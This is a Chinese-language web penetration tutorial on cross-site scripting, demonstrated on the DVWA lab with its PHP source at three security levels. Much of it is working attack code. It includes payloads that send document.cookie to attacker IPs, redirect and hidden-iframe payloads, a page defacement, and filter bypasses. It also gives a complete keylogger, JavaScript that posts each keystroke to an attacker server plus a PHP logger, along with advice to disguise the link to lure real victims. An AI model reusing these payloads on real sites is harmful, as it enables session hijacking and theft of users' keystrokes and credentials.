紅客突擊隊
Web滲透-XSS
前言
本節學習XSS
跨站腳本漏洞
1、XSS簡介
命名與 Java 原因無關,完全出於市場原因
使用最廣的客戶端腳本語言
通過 WEB 站點漏洞,向客戶端交付惡意執行代碼,實現對客戶端的攻擊目的
攻擊有
注入客戶端腳本代碼
盜取 cookie
重定向
使用場景
直接嵌入html:<script> alert('XSS'); </script>
元素標籤事件:<body onload=alert('XSS')>
圖片標籤:<img src="javascript:alert('XSS');">
其他標籤:<iframe>, <div>, and <link>
DOM對象,篡改頁面內容
漏洞形成的根源
伺服器對用戶提交的數據過濾不嚴
提交給伺服器的腳本直接返回給其他客戶端執行
腳本咋客戶端執行惡意操作
XSS 漏洞類型
存儲型(持久型)
反射性(非持久)
DOM 型:也是反射型,但不向瀏覽器發送請求
判斷方法:提交數據之後,伺服器原封不動的返回給客戶端,就可以判斷為存在 XSS 漏洞
2、反射型XSS
反射型XSS過程如下:
攻擊者給目標機發送包含惡意代碼的數據包,如郵件、圖像
目標機點擊後,將請求發送給伺服器
伺服器沒有過濾,原封不動的返回目標機
實現注入
漏洞PoC
<script>alert(『xss』)</script><a href='' onclick=alert('xss')>type</a><img src=http://1.1.1.1/a.ipg onerror=alert('xss')><script>window.location='http://1.1.1.1'</script><iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe><script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script><script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>測試漏洞
在dvwa的XSS reflected輸入123123
原封不動返回123123
說明可能存在XSS漏洞
用burpsuite可以清晰查看
輸入
<a href=https://www.baidu.com>click</a>如上圖會出現一個click
點擊連結之後,發現已經跳轉到其他頁面
輸入<script>alert('xss')</script>出現彈出窗且burpsuite上可以看到原樣返回的代碼
可以確定存在漏洞
重定向
輸入<script>window.location='https://www.baidu.com'</script>輸入
<script>window.location='http://192.168.1.102'</script>重定向到kali的IP
在 kali 監聽 80 埠,被攻擊者的信息會被收集框架攻擊
輸入<iframe SRC="http://192.168.1.102/victim" height = "0" width ="0"></iframe>在 kali 監聽 80 埠,被攻擊者的信息會被收集
提取cookie
輸入<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>篡改頁面
輸入<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>注入惡意腳本
a.js裡內容,主要是竊取cookievar img = new Image();img.src = "http://192.168.1.102:88/cookies.php?cookie="+document.cookie; #這裡是kali的IP輸入
<script src="http://1.1.1.1/a.js"></script> #1.1.1.1是肉雞的IP然後在kali裡監聽88埠就可以獲取cookie
鍵盤記錄器
在kali的var/www/html中創建keylogger.js、keylogger.php和keylog.txt
keylogger.js如下document.onkeypress = function(evt) { evt = evt || window.event key = String.fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key) http.open("POST","http://192.168.1.102/keylogger.php",true); #keylogger.php:接收鍵盤記錄器信息的腳本 http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); }}keylogger.php如下
<?php$key=$_POST['key'];$logfile="keylog.txt";$fp = fopen($logfile, "a");fwrite($fp, $key);fclose($fp);?>chmod 777 keylog.txt #賦予寫入權限
輸入<script src="http://192.168.1.102/Keylogger.js"></script>然後被攻擊者的鍵盤輸入會被發送到攻擊者
現實中
為了更隱蔽點
可以將最終的url寫成html並放些會吸引人點的東西
dvwa源碼
Low 安全級別<?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;} else { echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>';}?>Medium 安全級別
<?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;} else { echo '<pre>'; echo 'Hello ' . str_replace('<script>', '', $_GET['name']); echo '</pre>'; }?> #代碼中發現是 str_replace('<script>', '', $_GET['name'])#輸入多層<script>#<scrip<script>t>alert('xss')</script>High 安全級別
<?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . htmlspecialchars($_GET['name']); echo '</pre>'; }?> # htmlspecialchars($_GET['name']) 是將 "<" 和 ">" 分別編碼為 "<" 和 ">"# 可以將攻擊代碼寫在網頁本身的"<"、">"之間,攻擊代碼自身不含有"<"、">",這樣就不會被 htmlspecialchars() 過濾。# 比如:<a href='' οnclick=alert('xss')>type</a># dvwa 中的返回代碼中不存在本身自帶的"<"、">",,所以無法驗證。3、存儲型XSS
長期存儲於伺服器端
每次用戶訪問都會被執行javascript腳本
測試漏洞
dvwa的XSS stored
同樣的,隨意輸入一些字符
伺服器原封不動的返回
說明可能存在XSS漏洞
用burpsuite可以清晰查看
輸入<script>alert('xss')</script>返回彈窗且burpsuite上可以看到原樣返回的代碼
可以確定存在漏洞
注入惡意腳本
a.js裡內容,主要是竊取cookievar img = new Image();img.src = "http://192.168.1.102:88/cookies.php?cookie="+document.cookie; #這裡是kali的IP輸入
<script src="http://1.1.1.1/a.js"></script> #1.1.1.1是肉雞的IP然後在kali裡監聽88埠就可以獲取cookie
伺服器源碼
Low 安全級別<?phpif(isset($_POST['btnSign'])){ $message = trim($_POST['mtxMessage']); $name = trim($_POST['txtName']); $message = stripslashes($message); $message = mysql_real_escape_string($message); $name = mysql_real_escape_string($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );}?>Medium 安全級別
<?phpif(isset($_POST['btnSign'])){ $message = trim($_POST['mtxMessage']); $name = trim($_POST['txtName']); $message = trim(strip_tags(addslashes($message))); $message = mysql_real_escape_string($message); $message = htmlspecialchars($message); $name = str_replace('<script>', '', $name); $name = mysql_real_escape_string($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );}?> # 分析 BurpSuite 可知,響應文件中的 name 只過濾了 <script>,未過濾 </script>,所以可以判斷是指過濾了 <script>,可以使用 嵌套<script># 輸入 <script>alert('xss')</script>High 安全級別
<?phpif(isset($_POST['btnSign'])){ $message = trim($_POST['mtxMessage']); $name = trim($_POST['txtName']); $message = stripslashes($message); $message = mysql_real_escape_string($message); $message = htmlspecialchars($message); $name = stripslashes($name); $name = mysql_real_escape_string($name); $name = htmlspecialchars($name); $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );}?>4、DOM型 XSS 漏洞
一套 JS 和其他語言可調用的標準的 API輸入
<script>var img=document.createElement("img");img.src="http://10.10.10.131:88/log?"+escape(document.cookie);</script>結語
XSS危害較大
需理解原理
並做好防護
尤其注意不要瞎點一些奇怪的連結